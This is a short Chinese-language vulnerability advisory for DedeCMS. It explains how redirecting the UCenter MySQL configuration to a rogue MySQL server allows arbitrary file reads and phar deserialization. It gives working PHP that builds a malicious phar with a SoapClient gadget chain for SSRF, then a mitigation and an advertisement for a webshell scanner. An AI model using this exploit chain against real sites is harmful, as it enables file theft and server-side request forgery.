dedecms的后臺(tái)存在ucenter功能，可以直接修改ucenter的配置，使網(wǎng)站的mysql連接。指向我們預(yù)先構(gòu)造的rogue mysql server https://github.com/Gifts/Rogue-MySql-Server.git
設(shè)置之后我們就可以通過修改惡意服務(wù)端的設(shè)置來讀取任意文件。 假如讀取的文件路徑是以phar協(xié)議開頭的，那么讀取的文件內(nèi)容就會(huì)被反序列化。 根據(jù)dedecms的代碼，我們可以利用soapclient內(nèi)置類來構(gòu)造反序列化pop鏈來ssrf。
|
<?php class Control { var $tpl; public $dsql; function __construct(){ $this->dsql = new SoapClient(null,array('uri'=>'http://test:5555', 'location'=>'http://test:5555/aaa')); } } @unlink("dedecms.phar"); $phar = new Phar("dedecms.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new Control(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?> |
解決方案：
臨時(shí)解決方案
通過mysqli_options設(shè)置鏈接時(shí)禁用allow_local_infile配置可阻止該漏洞。
或在php.ini中改配置為mysqli.allow_local_infile = Off
推薦D盾—WEB查看工具：
軟件使用自行研發(fā)不分?jǐn)U展名的代碼分析引擎，能分析更為隱藏的WebShell后門行為。
引擎特別針對(duì),一句話后門，變量函數(shù)后門，${}執(zhí)行 ，`執(zhí)行，
preg_replace執(zhí)行,call_user_func,file_put_contents,fputs 等特殊函數(shù)
的參數(shù)進(jìn)行針對(duì)性的識(shí)別，能查殺更為隱藏的后門，
并把可疑的參數(shù)信息展現(xiàn)在你面前，讓你能更快速的了解后門的情況
新版特別針對(duì) dedecms 的{dede:php}{/dede:php}代碼加入了識(shí)別！
軟件加入隔離功能，并且可以還原！
如有不能識(shí)別的webshell請(qǐng)使用上傳樣本功能上傳給我們，我們將后期加入識(shí)別!
下載：http://www.d99net.net/down/WebShellKill_V1.4.1.zip
